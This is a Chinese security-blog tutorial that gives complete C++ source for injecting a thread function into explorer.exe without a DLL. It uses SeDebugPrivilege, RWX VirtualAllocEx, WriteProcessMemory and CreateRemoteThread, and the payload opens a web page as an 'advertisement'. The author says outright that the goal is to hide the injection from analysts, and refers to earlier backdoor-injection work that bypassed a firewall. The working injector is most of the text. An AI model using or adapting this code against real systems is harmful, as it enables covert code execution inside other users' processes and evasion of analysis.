安全之路 —— 无DLL文件实现远程线程注入
简介
在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门。但一个.exe文件总要在注入时捎上一个.dll文件着实是怪麻烦的,那么有没有什么方法能够不适用.dll文件实现注入呢?
答案是有的,我们可以直接将功能写在线程函数中,然后直接将整个函数注入,这个方法相较之于DLL注入会稍微复杂一些,适用于对一些体积比较小的程序进行注入。但是要注意动态链接库的地址重定位问题,因为正常的文件一般会默认载入kernel32.dll文件,而不会载入其他DLL,且只有kernel32.dll与user32.dll文件可以保证在本地和目的进程中的加载地址是一样的,所以最好要在远程线程函数中手动利用LoadLibrary和GetProcessAddress函数强制加载一遍DLL文件。Visual Studio在编译此类功能的文件时建议关闭编译器的“/GS”选项,还要其他需要注意的地方可参考此链接。
下面我们借助此方法实现让Windows资源管理器explorer.exe实现弹网页(发广告)的功能,而分析人员却无法从程序依赖的动态链接库中找到我们注入线程用的DLL文件,达到了一定的隐藏效果。
代码实现
//////////////////////////////
//
// FileName : InjectProcess.cpp
// Creator : PeterZheng
// Date : 2018/8/18 0:35
// Comment : Inject Process Without Dll File
//
//////////////////////////////
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <string>
#include <string.h>
#include <windows.h>
#include <strsafe.h>
#include <tlhelp32.h>
#define MAX_LENGTH 50
#define NORMAL_LENGTH 20
#pragma warning(disable:4996)
using namespace std;
//远程线程函数参数
typedef struct _RemoteParam
{
CHAR szOperation[NORMAL_LENGTH];
CHAR szAddrerss[MAX_LENGTH];
CHAR szLb[NORMAL_LENGTH];
CHAR szFunc[NORMAL_LENGTH];
LPVOID lpvMLAAdress;
LPVOID lpvMGPAAddress;
LPVOID lpvSEAddress;
}RemoteParam;
//远程线程函数(主体)
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
typedef HMODULE(WINAPI *MLoadLibraryA)(IN LPCTSTR lpFileName);
typedef FARPROC(WINAPI *MGetProcAddress)(IN HMODULE hModule, IN LPCSTR lpProcName);
typedef HINSTANCE(WINAPI *MShellExecuteA)(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);
MLoadLibraryA MLA;
MGetProcAddress MGPA;
MShellExecuteA MSE;
MLA = (MLoadLibraryA)lprp->lpvMLAAdress;
MGPA = (MGetProcAddress)lprp->lpvMGPAAddress;
lprp->lpvSEAddress = (LPVOID)MGPA(MLA(lprp->szLb), lprp->szFunc);
MSE = (MShellExecuteA)lprp->lpvSEAddress;
MSE(NULL, lprp->szOperation, lprp->szAddrerss, NULL, NULL, SW_SHOWNORMAL);
return 0;
}
//获取PID
DWORD GetProcessID(CHAR *ProcessName)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot error");
return 0;
}
BOOL bProcess = Process32First(hProcessSnap, &pe32);
while (bProcess)
{
if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
return pe32.th32ProcessID;
bProcess = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return 0;
}
//获取权限
int EnableDebugPriv(const TCHAR *name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken Error!\n");
return 1;
}
if (!LookupPrivilegeValue(NULL, name, &luid))
{
printf("LookupPrivilege Error!\n");
return 1;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
printf("AdjustTokenPrivileges Error!\n");
return 1;
}
return 0;
}
//远程线程注入函数
BOOL InjectProcess(const DWORD dwPid)
{
if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (!hWnd) return FALSE;
RemoteParam rp;
ZeroMemory(&rp, sizeof(RemoteParam));
rp.lpvMLAAdress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA");
rp.lpvMGPAAddress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "GetProcAddress");
StringCchCopy(rp.szLb, sizeof(rp.szLb), "Shell32.dll");
StringCchCopy(rp.szFunc, sizeof(rp.szFunc), "ShellExecuteA");
StringCchCopy(rp.szAddrerss, sizeof(rp.szAddrerss), "https://www.baidu.com");
StringCchCopy(rp.szOperation, sizeof(rp.szOperation), "open");
RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteParam) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteThread) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
HANDLE hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
if (!hThread) return FALSE;
return TRUE;
}
//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
CHAR szProcName[MAX_LENGTH] = "\0";
StringCchCopy(szProcName, MAX_LENGTH, "explorer.exe");
InjectProcess(GetProcessID(szProcName));
ExitProcess(0);
return 0;
}
安全之路 —— 无DLL文件实现远程线程注入的更多相关文章
- 安全之路 —— 无DLL文件实现远程进程注入
简介 在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着实是怪麻烦的,那 ...
- 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程
简介 大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...
- 详细解读:远程线程注入DLL到PC版微信
一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以 ...
- 远程线程注入DLL突破session 0 隔离
远程线程注入DLL突破session 0 隔离 0x00 前言 补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL. 0x01 介绍 通过CreateRemoteTh ...
- 远程线程注入DLL
远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...
- 远程线程注入dll,突破session 0
前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...
- 远程线程注入方法CreateRemoteThread
最近在整理学习Windows注入方面的知识,这个远程注入前面早写过,现在看看人家博客的理解整理,整理, 需要源码的可以到我的github上下载. 链接是 https://github.com/Ars ...
- windows-CODE注入(远程线程注入)
远程线程注入(先简单说,下面会详细说)今天整理下代码注入(远程线程注入),所谓代码注入,可以简单的理解为是在指定内进程里申请一块内存,然后把我们自己的执行代码和一些变量拷贝进去(通常是以启线程的方式) ...
- mfc HackerTools远程线程注入
在一个进程中,调用CreateThread或CreateRemoteThreadEx函数,在另一个进程内创建一个线程(因为不在同一个进程中,所以叫做远程线程).创建的线程一般为Windows API函 ...
随机推荐
- 【OSX】多个JDK共存时选择要使用的JDK版本
10.5以后的$JAVA_HOME没有被在.bash_profile中设置的话会被默认设置为 /usr/libexec/java_home. 如果一台mac里面安装了多个JDK, 可以通过/usr/l ...
- Redis 内存模型
了解 Redis 的 5 种对象类型(字符串.哈希.列表.集合.有序集合)的用法和特点的基础,了解 Redis 的内存模型,对 Redis 的使用有很大帮助,例如: 估算 Redis 内存使用量.内存 ...
- k8s升级,HA集群1.12.0~HA集群1.13.2
k8s升级,此次升级是1.12.0 至1.13.2 准备 # 首先升级master节点的基础组件kubeadm.kubelet.kubectl apt policy kubeadm 找到相应的版本,如 ...
- ruby Enumerator::lazy
当一个很大的数组或集合需要做循环操作的时候,一次性把数据放到内存会有很大弊端.这时lazy就派上用场了.Float::INFINITY 是无穷大意思 举个例子 取出1到无穷大对7整除余数为0的前10个 ...
- CSS Font文字样式
font-style: /* 文字样式 italic(倾斜) | normal */ font-weight: /* 文字是否加粗 bold | normal(正常) */ font-size: /* ...
- Java设计模式学习记录-GoF设计模式概述
前言 最近要开始学习设计模式了,以前是偶尔会看看设计模式的书或是在网上翻到了某种设计模式,就顺便看看,也没有仔细的学习过.前段时间看完了JVM的知识,然后就想着JVM那么费劲的东西都看完了,说明自己学 ...
- 自定义Fiddler插件一
上个月自定义了一个Fiddler的插件,可以根据请求生成接口自动化测试的RF和Python代码,这样测试人员只需要手动操作页面用Fiddler抓取报文,就可以直接生成RF.Python代码,然后只需要 ...
- 【转】repo介绍
Android 使用 Git 作为代码管理工具,开发了 Gerrit 进行代码审核以便更好的对代码进行集中式管理,还开发了 Repo 命令行工具,对 Git 部分命令封装,将百多个 Git 库有效的进 ...
- [转]Ionic国际化解决方案
本文转自:http://www.cnblogs.com/crazyprogrammer/p/7904436.html 1. 核心内容 使用Angular2的国际化(i18n)库:ngx-tra ...
- 前端MVC Vue2学习总结(八)——Vue Router路由、Vuex状态管理、Element-UI
一.Vue Router路由 二.Vuex状态管理 三.Element-UI Element-UI是饿了么前端团队推出的一款基于Vue.js 2.0 的桌面端UI框架,手机端有对应框架是 Mint U ...